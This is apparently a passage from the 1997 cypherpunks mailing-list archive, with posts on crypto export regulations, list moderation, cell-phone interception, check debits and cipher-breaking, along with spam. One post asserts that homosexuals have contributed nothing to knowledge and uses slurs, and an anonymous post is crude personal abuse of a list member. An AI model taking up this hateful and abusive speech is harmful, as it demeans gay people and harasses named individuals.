>        argue, win the war. On Churchill's specific instructions, Turing was
> given all the resources he required and his
>        personal behavior was tolerated - Turing was an active homosexual at
> a time when homosexuality was illegal.
>        Amanda Root, Prunella Scales, Harold Pinter, Alun Armstrong and
> Richard Johnson also star. 
> 
> 
> Dave

Homosexuality was pretty well accepted in GB in 1930's, as evidenced by the
success of Comrade Philby and his friends.

Homosexuals have a strange attraction to cryptography, perhaps because of its
connection to privacy and anonymity. But they haven't made any contribution to
it (or to any other area of human knowledge). They ascribe to Turing the
results of heterosexual cryptographers; they libel prominent heterosexuals
like Leonardo da Vinci to argue that their perversion somehow leads to
intellectual superiority.

While homosexuality used to be a detriment to obtaining a security clearance,
being gay at NSA was a big plus under Inman. Of course now being gay is a big
plus anywhere in the KKKlintoris administration.

ObHomophobocReference: cocksucker John Gilmore is full of shit.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Mon, 13 Jan 1997 14:14:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private Idaho source code now available
In-Reply-To: <199701120553.VAA10283@mail.pacifier.com>
Message-ID: <5bec3v$564@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In article <199701120553.VAA10283@mail.pacifier.com>,
jim bell  <jimbell@pacifier.com> wrote:
>At 11:35 PM 1/11/97 -0500, Anonymous wrote:
>>Joel McNamara says:
>>> Private Idaho 2.8b3, a bug fix version of the popular Windows freeware PGP
>>> and remailer utility, is now available.  This will be my last official
>>> release of PI for the foreseeable future.
>>> 
>>> Due to other projects and new directions, I haven't been able to spend as
>>> much time as I'd like coding and supporting Private Idaho.  Instead of
>>> seeing it die on the vine, I've decided to release the source code under
>>> the GNU General Public License (export disclaimer - the sources do not
>>> include, or have ever contained, cryptographic algorithms).
>>
>>	My understanding is that Private Idaho uses PGP internally
>>and provides the same functionality as premail, with an 
>>easier to use GUI.
>>
>>	Given that, it would still be export controlled, since it
>>enables cryptography. That is why Raph doesn't allow export of premail.
>
>The "enables cryptography" thing just doesn't cut it.  A computer "enables 
>cryptography" to a person without a computer.  The MSDOS operating system 
>"enables cryptography" to a person with a computer but without an OS.  A 
>hard disk with a filesystem "enables cryptography" by providing an 
>intermediate data storage location (and format) for encrypted and 
>unencrypted data, as well as the encryption program.  Even a modem program 
>or mail program "enables cryptography", or at least enables the transmission 
>of encrypted data, etc.
>
>Apparently, the phrase "enable cryptography" is either just about 
>meaningless, or is so broad as to be not usable to determine which items are 
>exportable and which aren't.  How about narrowing it down a bit?  

- From the Commerce Control List:

# 5D002.a: ``Software'' specially designed or modified for the
# ``development'', ``production'' or ``use'' of equipment or ``software''
# controlled by 5A002, 5B002 or 5D002.

# 5A002.a: Designed or modified to use ``cryptography'' employing digital
# techniques to ensure ``information security'';

5A002.a covers PGP, so it would seem that 5D002.a covers premail and
Private Idaho.

   - Ian

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 13 Jan 1997 11:45:37 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <199701110345.VAA02052@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970113144323.17946B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 10 Jan 1997 ichudov@algebra.com wrote:

> Does not the moderated list, moderated by YOU, already exist? 
> 
> I am confused.

It is not the only one, however it doesn't run at the toad.com level.
 
> > What difference does it make if a message is delayed for 10-30 minutes?  
> > Why is it a bad idea or suspicious?  If you post something and it doesn't 
> 
> It is indeed suspicious because it raises a possibility of
> concealed human involvement.

What kind of concealed human involvement?  Running a raw list + a 
moderated list doubles the traffic.  Running a moderated + flames list 
keeps the traffic the same.  What's there to conceal when a flames list 
exists?
 
If your threat model is that paranoid, what's to stop someone now from 
intercepting traffic from toad.com from the sendmail queues?  Mail gets 
sent (typically, not sure about toad) every 15 minutes, that's enough 
time for human interaction.  What's the difference?

> > The point was to optimize the sendmail to send moderated messages first.
> 
> What does that optimise if there is a more or less continuous traffic?

> That's a non-answer.

Cute, ask a question, then answer it yourself for me?  If there is 
continous traffic, it's because of the flames that are autogenerated.  
There's been a rare day when there has ever been continous traffic.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CV Communications <sales@quantcom.com>
Date: Mon, 13 Jan 1997 12:09:51 -0800 (PST)
To: "cwrs@aol.com>
Subject: Customers For You !!
Message-ID: <199701131957.OAA15278@vineyard.net>
MIME-Version: 1.0
Content-Type: text/plain


The following message has been brought to you by CV Communications.
If you would like advertising rates and information, send an email to info@quantcom.com
or visit our website http://www.quantcom.com/CVcom
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info via email, please be sure to include your voice phone # and best
time to call, unless you would prefer not to be contacted via
telephone to follow up.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C. Kuethe" <ckuethe@gpu.srv.ualberta.ca>
Date: Mon, 13 Jan 1997 14:02:34 -0800 (PST)
To: Scottauge@aol.com
Subject: Re: RSA over Rubiks Cube
In-Reply-To: <970113114129_373924985@emout15.mail.aol.com>
Message-ID: <Pine.A32.3.93.970113150035.32152A-100000@gpu3.srv.ualberta.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 13 Jan 1997 Scottauge@aol.com wrote:

 
> This problably wouldn't be to cool a thing to do.  A fella named Douglas
> Hopstader(?) wrote a book called Meta-Mathematics (same guy who wrote The
> Golden Knot).  In this book he developed (or showed, forget who should get
> credit) an algorithm to solve Rubiks cube from any beginning state.

His name is Douglas Hofstader and the book is called "metamagical themas". He
also wrote "Godel, Escher, Bach".

--                                                                              
Chris Kuethe <ckuethe@gpu.srv.ualberta.ca> LPGV Electronics and Controls
        <c100305@wolfcreek.cs.ualberta.ca> http://www.ualberta.ca/~ckuethe/
RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/          
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>   
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Johnson <mpj@csn.net>
Date: Mon, 13 Jan 1997 14:23:51 -0800 (PST)
To: cryptography@c2.org
Subject: Crypto site move http://www.sni.net/~mpj/usa/warning.htm
Message-ID: <Pine.3.89.9701131542.A24317-0100000@teal.csn.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


The method for accessing my strong crypto library ftp site has
changed to one that I hope is easier for those of you who are in
the USA or Canada.  Simply point your browser to
http://www.sni.net/~mpj/usa/warning.htm and follow the
instructions. This should work even with text-based browsers,
like lynx, and should be easier to navigate for AOL customers.

You may be amused that the President of the United States has
determined that cryptographic software export controls are
necessary for U. S. "National Security" even though the same
software is available "or appears to be available" from outside
of the USA. For a partial list of cryptographic software sites
outside of North America, see
http://www.sni.net/~mpj/freecryp.htm



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JiRn7W1A2YIvNQqMizUxOnoGnazkp6rMBCYvV6wTb2MCbQ8U/BLBGw==
=X33F
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 13 Jan 1997 15:23:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A vote of confidence for Sandy
Message-ID: <199701132323.PAA02433@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:18 AM 1/11/97 -0600, Igor Chudov wrote:
>Bill Frantz wrote:
...
>> Let me rant a bit about the "ideal" moderation structure.  Igor Chudov's
>> software lets people like Matt Blase and Bruce Schneier post whatever they
>> want.  (I would add people like Black Unicorn as well.  YMMV)  Other posts
>> go into a pool accessible to all moderators.  If one moderator approves,
>> the message goes out.  If N reject, it is rejected.  These rejections could
>> either be anonymous or be included in an x-moderators-rejecting: header for
>> the "worst of cypherpunks" list.
>
>I think that Bill proposes a very interesting idea. His suggestion would
>eliminate a lot of [well-grounded] suspicion about arbitrary rejections
>at a "whim" of moderators.
>
>My only concern is that there will be more work for moderators, because
>in his scheme each "bad" message has to be reviewed by N people instead
>of 1.
>
>It is a tradeoff between a more liberal policy and efficient use of
>moderators' time.

As long as a number of moderators have access, then why not also include in
the header information the number of available moderators that gave the
content a "thumbs up".  If this were tacked on to the front of the subject
field, (for people like me whor are using Eudora Lite), then messages could
be chosen, by the readers, based on the number of moderators that gave it
approval.  Ideally, a relatively large number of moderators would be on hand
so that the scale would be an accurate cross-reference of the groups opinions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 13 Jan 1997 15:32:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Comments on moderation
Message-ID: <199701132332.PAA02661@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:28 AM 1/11/97 -0800, Dale Thorn wrote:
>Alan Olsen wrote:
...
>> I
>> have seen little evidence that the doom they predict is going to happen.
>
>Did you really want to say "no evidence", but were just hedging your bet?

This is not intended to place me on either side of this issue, but, by
referring to personal experiences, he does not need to hedge his bet.  Just
an observation.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Geoff Klein <geoff@commtouch.co.il>
Date: Mon, 13 Jan 1997 05:49:18 -0800 (PST)
To: coderpunks@toad.com
Subject: Product Manager for hire.
Message-ID: <19970113154559geoff@geoff>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com, coderpunks@toad.com
Date: Mon Jan 13 15:45:49 1997


Product Manager with extensive experience in messaging and security is 
seeking a challenging position in a warm climate. For resume see: 
http://members.tripod.com/~geoff_cv/


- ------------------------------------------------------------------------
Geoff Klein,     Pronto Secure Product Manager
http://www.commtouch.com, Tel: 972-9-963445 (ext 130), Fax: 972-9-961053
For my PGP public key send mail with subject: Get Key
- ------------------------------------------------------------------------
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

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trqggHQUhjlDYftwTAJdnBNXh/XAfGCgoPpHJ4pYOEYs+mVpsla1a9w7SFuQUb18
zKwP1hKlacI=
=F8SZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Clay Olbon II <olbon@ix.netcom.com>
Date: Mon, 13 Jan 1997 16:13:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Newt's phone calls
Message-ID: <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I just caught the news reports of Newt Gingrich's cell phone calls being
taped by "a little old retired couple" with a scanner.  These were then
given to a congressman, who gave them to a newspaper.

The take on this that we won't hear is: "This is outrageous!  Why don't
cell-phones offer encryption to ensure our privacy?"

Unfortunately, I think crypto is still so far beneath the public
consciousness that the obvious solution to these sorts of problems is
ignored in favor of the "there oughta be a law" non-solution.  (Of course,
in this case there is a law!) What I really hope this incident spawns is a
market ...

        Clay

*******************************************************
Clay Olbon			    olbon@ix.netcom.com
sys-admin, engineer, programmer, statistitian, etc.
**********************************************tanstaafl





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: skelly@southeast.net
Date: Mon, 13 Jan 1997 13:50:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: PAY DIRT!
Message-ID: <199701132154.QAA15879@mailhub.southeast.net>
MIME-Version: 1.0
Content-Type: text/plain


I_Love_SPAM,

Hi, this is Shane. Just thought I would
drop you a note. I was just writing
very respectfully to see if you would
be open to look at a new and phenomenal
opportunity<weekly pay,no activity requiremnts,
no levels and people above you are able to 
reposition themselves below you.
 Now, if you tell me you are focused and
 committed I will respect that.
However, if you would like to learn 
more please visit my website.
http://www.freedom4life.com 
This will give you a quick overview. If this 
looks interesting, leave me your phone number.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 13 Jan 1997 17:21:44 -0800 (PST)
To: olbon@ix.netcom.com (Clay Olbon II)
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>
Message-ID: <199701140114.RAA02092@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Clay Olbon II writes:
> 
> 
> I just caught the news reports of Newt Gingrich's cell phone calls being
> taped by "a little old retired couple" with a scanner.  These were then
> given to a congressman, who gave them to a newspaper.
> 
> The take on this that we won't hear is: "This is outrageous!  Why don't
> cell-phones offer encryption to ensure our privacy?"
> 
> Unfortunately, I think crypto is still so far beneath the public
> consciousness that the obvious solution to these sorts of problems is
> ignored in favor of the "there oughta be a law" non-solution.  (Of course,
> in this case there is a law!) What I really hope this incident spawns is a
> market ...

It won't.  It'll spawn more laws.

Encryption is voodoo to the masses and the politicians.  Even
in Silicon Valley newspapers there's the obligitory "encryption is the
science of scrambling words so that hackers can't read them" in
each article that mentions encryption.  However the masses and
politicans understand laws and jails pretty well.

Use a scanner, excuse me "cellular phone hacking equipment", go to jail.

-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 13 Jan 1997 15:15:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Checking debit
In-Reply-To: <199701130446.UAA13794@ns2.accesscom.com>
Message-ID: <199701132321.RAA30596@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199701130446.UAA13794@ns2.accesscom.com>, on 01/11/97 at 12:46 AM,
   geo2@usa.net said:


>DEBIT YOUR CUSTOMERS' CHECKING ACCOUNTS ... COLLECT CHECK PAYMENTS FROM YOUR WEB PAGE,
>OVER THE PHONE, OR AS AN AUTOMATIC MONTHLY DEBIT!

>Close sales at your Web site, close telephone sales immediately, ship
>merchandise immediately(!) ...by drafting the customer's checking account.  

>No more waiting in vain for "checks in the mail."  This service increases
>your cash flow, and reduces the cost of billing, mailing, bookkeeping, and
>collections associated with your customers who pay by check...for far less
>than the cost of accepting credit cards! 

>For more information about this new service, please click "reply" to respond to me at
>geo2@usa.net.

Be afraid, be very afraid.

I didn't think one could debit a bank account without signed documentation
by the holder of the account giving permision to do so. Personaly I would
never give somone such authorization to do so.

If they are capable of getting access to funds in an account just by a phone
conversation this is truly a sad state of affairs for the banking community.

Could somone here with more banking background clarify this?

Thanks,
- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: MASOCHIST: Windows SDK programmer with a smile!

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Version: 2.6.2

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 13 Jan 1997 15:20:12 -0800 (PST)
To: azur@netcom.com (Steve Schear)
Subject: Re: OTA papers
In-Reply-To: <v02140b00af00318b1fef@[10.0.2.15]>
Message-ID: <199701132325.RAA30658@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <v02140b00af00318b1fef@[10.0.2.15]>, on 01/13/97 at 02:50 PM,
   azur@netcom.com (Steve Schear) said:


>Its too bad OTA got the budgetary ax.  I met several of the staff and I
>regarded them highly.

Actually this is a GOOD thing. Now they will be using their talents & skills
in the real world providing a contribution to society rather than in another
unnecessary government bureaucracy.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Windows done RIGHT!

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/erDRFPFeAo=
=LPb/
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Mon, 13 Jan 1997 17:23:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Checking debit
In-Reply-To: <199701132321.RAA30596@mailhub.amaranth.com>
Message-ID: <32DADF8A.74F6@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


William H. Geiger III wrote:
> 
> I didn't think one could debit a bank account without signed
> documentation by the holder of the account giving permision to do
> so.

Your thinking is incorrect.

> Personaly I would never give somone such authorization to do so.

If you have a credit card, call up customer service, and ask if you
can do a check by phone. There are a dozen services that do it. A
verbal agreement is all that's necessary. I'm not even sure the calls
are recorded; I recall no telltale beeps, which are required in 
California and other states. Western Union may do such transfers for
a fee.

> If they are capable of getting access to funds in an account just by
> a phone conversation this is truly a sad state of affairs for the
> banking community.

I quite agree. Sad, but true.
 
> Could somone here with more banking background clarify this?

I don't have a banking background, but I've done exactly the above as a 
standard-issue idiot consumer. All they need is your account number, a 
unique check number, and the central bank routing information. And your 
SSN, which your credit card company has already (how convenient). Oh, 
and I'm sure they need a hell of a lot of liability insurance.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Goldberg <iang@cs.berkeley.edu>
Date: Mon, 13 Jan 1997 17:46:07 -0800 (PST)
To: risks@CSL.sri.com
Subject: Re: New US regs ban downloadable data-security software
Message-ID: <199701140145.RAA07183@cypherpunks.ca>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green said:
> The new US crypto export regulations control the export of most if not all
> data-security software. Regardless if the software uses cryptography or
> not. Many software archives seem to be in violation of the new regs.
> 
> <snip>
> 
> This certainly controls virus checkers, firewalls, and other security
> software. There are substantial penalties involved in violating the EAR.
> The US can assess daily penalties and block all exports of a company's
> non-violating products. Criminal penalties apply as well.
> 
> "Export", as defined in the new regs, includes making software available on
> the web or via ftp.

After _very_ careful reading of the Export Administration Regulations (EAR)
(though IANAL), it would seem that the above is slightly inaccurate.

Although, as Lucky pointed out, virus checkers et al. are indeed regulated
for export from the US, and putting software up for ftp or WWW is considered
export, the EAR does _not_ apply to "publicly available" software
(732.2(b)(1)).  Software is publicly available "when it is available for
general distribution either for free or at a price that does not exceed
the cost of reproduction and distribution" (734.7(b)).

Therefore, it would seem that, as long as the security software on your ftp
or WWW site is free of cost, it is OK to keep it there.  Commercial
security software, however, remains export-restricted.

NOTE, however, that products that actually do contain cryptography fall under
an exception (734.7(c)): "Notwithstanding paragraphs (a) and (b) of this
section, note that encryption software controlled under ECCN 5D002 for
``EI'' reasons on the Commerce Control List (refer to Supplement No. 1
to part 774 of the EAR) remains subject to the EAR even when publicly
available."

The software controlled for EI reasons under 5D002 are described as:
"EI controls apply to encryption software transferred from the U.S.
Munitions List to the Commerce Control List consistent with E.O. 13026
of November 15, 1996 (61 FR 58767) and pursuant to the Presidential
Memorandum of that date. Refer to Sec. 742.15 of the EAR."

As virus checkers et al. were not on the Munitions List, they are not
controlled for EI (Encryption Items) reasons, but rather for NS (National
Security) and AT (Anti-Terrorism) reasons.

The RISKS: the government suddenly creating (and putting into effect)
new rules covering large amounts of software, without warning or
(in my opinion) justification.

   - Ian "again, IANAL"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Bostick <abostick@netcom.com>
Date: Mon, 13 Jan 1997 17:59:30 -0800 (PST)
To: Ed Falk <ed.falk@Eng.Sun.COM>
Subject: Re: encryption program
In-Reply-To: <199701132023.MAA22372@peregrine.eng.sun.com>
Message-ID: <Pine.3.89.9701131715.A13546-0100000@netcom4>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 13 Jan 1997, Ed Falk wrote:

> > what do you mean, polyalphabetic substitution?
> 
> Someone can correct me if I'm wrong, but I believe it refers to a cipher
> where each character is encrypted individually, using a different
> monoalphabetic cipher for each one.  The ciphers repeat after
> a certain period, usually the key length.
> 
> Vigenere is the simplest polyalphabetic cipher of them all, with
> the individual ciphers simply being ROT-n.
> 

I'm convinced that the message in question is a polyalphabetic 
substitution.  Among other things, did people notice quite how much known 
(or *very easily guessable*) plaintext there was in the message sample,
above and beyond the free giveaway of the first line?  Things like 
"CONFIG.SYS", "FILES=20", BUFFERS=20", and so on.  There's enough
stuff there to make serious inroads into the message without cracking
the cipher; and with their help I'm pretty sure the back of the cipher
itself can be broken.  In the half-hour I played with it I got to the
point where I could make some educated guesses about the repetition
length of the substitution, and start filling in the various alphabets.

No doubt a *real* cryptanalyst could do even better.


Alan Bostick               | To achieve harmony in bad taste is the height
mailto:abostick@netcom.com | of elegance.
news:alt.grelb             |      Jean Genet
http://www.alumni.caltech.edu/~abostick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Mon, 13 Jan 1997 18:34:13 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: New US regs ban downloadable data-security software
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970114023430Z-29584@INET-01-IMC.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


If the 5D002 reasons find no exception for EI under Sec 742.15 (d)
inconsistent with E.O. 13026 (61 FR 58767), then does the NS go the way
of AT, or this just become a NNI?  

The RISKS: the government suddenly creating (and putting into effect)
new subparagraphs using large numbers of new acronyms, without warning
or (in my opinion) justification.

   ..
Blanc (LOL)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Mon, 13 Jan 1997 10:57:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [ANNOUNCEMENT] U.S.S. Liberty
Message-ID: <199701131857.TAA06478@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[unt] Maya's father, an idiot, stumbled across Timmy C[unt] 
Maya's mother, an imbecile, when she had no clothes on. Nine months 
later she had a little moron.

         \\\\\|/////
          \\\\|////
          < * | * >
          |   *   |
           \( . )/
            \___/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 13 Jan 1997 17:38:37 -0800 (PST)
To: Clay Olbon II <olbon@ix.netcom.com>
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>
Message-ID: <Pine.GSO.3.95.970113203329.21655A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Don't be too sure that crypto is that far beneath the radar. I spent
Thursday through Saturday at an annual privacy conference for activists
from around the country, and they understood the principles. Their
voicemails were filling up with calls from reporters last Friday about the
Gingrich incident, and I know they were talking crypto.

The only other journalist who was there made an interesting point, that
encrypting cell phone traffic only up to the point it hits the phone
system wouldn't hinder L.E. access but would protect privacy. (Or,
perhaps, would be worse in the long term since we wouldn't have such
luscious examples.) 

-Declan


On Mon, 13 Jan 1997, Clay Olbon II wrote:

> 
> I just caught the news reports of Newt Gingrich's cell phone calls being
> taped by "a little old retired couple" with a scanner.  These were then
> given to a congressman, who gave them to a newspaper.
> 
> The take on this that we won't hear is: "This is outrageous!  Why don't
> cell-phones offer encryption to ensure our privacy?"
> 
> Unfortunately, I think crypto is still so far beneath the public
> consciousness that the obvious solution to these sorts of problems is
> ignored in favor of the "there oughta be a law" non-solution.  (Of course,
> in this case there is a law!) What I really hope this incident spawns is a
> market ...
> 
>         Clay
> 
> *******************************************************
> Clay Olbon			    olbon@ix.netcom.com
> sys-admin, engineer, programmer, statistitian, etc.
> **********************************************tanstaafl
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Sun, 12 Jan 1997 23:38:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Menwith Hill / NSA
Message-ID: <85314110320182@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


>At DefCon III, someone had a video on these ladies ("granny hackers" was
>the comment from the audience) who explore[d] the Menwith Hill NSA base in
>the UK.  The video was shown twice from what I remember, once in the main
>speaker room and once in the video room.  If anyone knows anything about
>this video then please email me [tobin@mail.edm.net], especially if you
>know WHO had it, where I could get a copy, etc.  Also, I'd like to hear
>about any other similar type things. (crypto, NSA, etc)

I talked to the guy who made the documentary (Duncan Campbell) an hour or two
ago, he's sending me the transcripts when he gets back to the UK.  I'll see 
if I can get his permission to post them to the web.  He's been doing this
sort of thing for about 25 years, and has some really neat stories to tell 
about his run-ins with the UK government.

Peter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 13 Jan 1997 18:24:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <853170077.1023898.0@fatmans.demon.co.uk>
Message-ID: <VVZH1D96w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


paul@fatmans.demon.co.uk writes:

> > Comment: "What do you mean by 'extensive research'."
> > Reply: Benchmark tests. Source code comparisons. Documentations of other
> > algorithms. "Applied Cryptography".
>
> So you have read applied cryptography and decided that qualifies you
> as a cryptographer?

That's much better that Paul Bradley who's totally ignorant of cryptography.
But I agree that Bruce's book is neither necessary nor sufficient for someone
wanting to learn cryptography.

> > Comment: "What kind of industry standard is IMDMP above?"
> > Reply: 128-bit encryption. Average DES is 128. PGP tops 1024. IDEA goes at
> > 128. RSA the same. Full security IMDMP is 2048-bit. Any other questions?
>
> This is irrelevant rubbish, if there is a cryptanalytic attack on
> your algorithm a brute force attack becomes unecessary and key size is
> not of consequence.

What charming manners. And Paul Bradley's own rants about "brute force
attacks on one-time pads" are not rubbish, I suppose?

And how come Paul didn't use the word "fuck" in every paragraph, the way
he usually does?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 13 Jan 1997 19:43:47 -0800 (PST)
To: Clay Olbon II <olbon@ix.netcom.com>
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>
Message-ID: <199701140349.VAA01437@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>, on 01/13/97 at 08:12 PM,
   Clay Olbon II <olbon@ix.netcom.com> said:


>I just caught the news reports of Newt Gingrich's cell phone calls being
>taped by "a little old retired couple" with a scanner.  These were then
>given to a congressman, who gave them to a newspaper.

>The take on this that we won't hear is: "This is outrageous!  Why don't
>cell-phones offer encryption to ensure our privacy?"

>Unfortunately, I think crypto is still so far beneath the public
>consciousness that the obvious solution to these sorts of problems is
>ignored in favor of the "there oughta be a law" non-solution.  (Of course,
>in this case there is a law!) What I really hope this incident spawns is a
>market ...

There is a very basic reason that cell phones are not encrypted; the government does not
want them encrypted. Many an arrest has been made from infromation gathered from
cell/wireless phone conversations. AFAIK the police do not even need a search warent to do
this.

With the cell phone industry regulated by the FCC I doubt that you will ever
see cell phone's with built in encryption.

As far as the general public is concerned the majority are sheep. They are
quite content to know that it is illegal for their neighbor to listen in and
ofcource Big Brother would only listen to those nasty drug dealers & mobsters.

- --
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    WebExplorer & Java Enhanced!!!
Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice

Look for MR/2 Tips & Rexx Scripts
Get Work Place Shell for Windows!!
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: Logic, not magic.

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=fa4Q
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Mon, 13 Jan 1997 20:59:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <Pine.GSO.3.95.970113203329.21655A-100000@cp.pathfinder.com>
Message-ID: <32DB1232.7FB1@disposable.com>
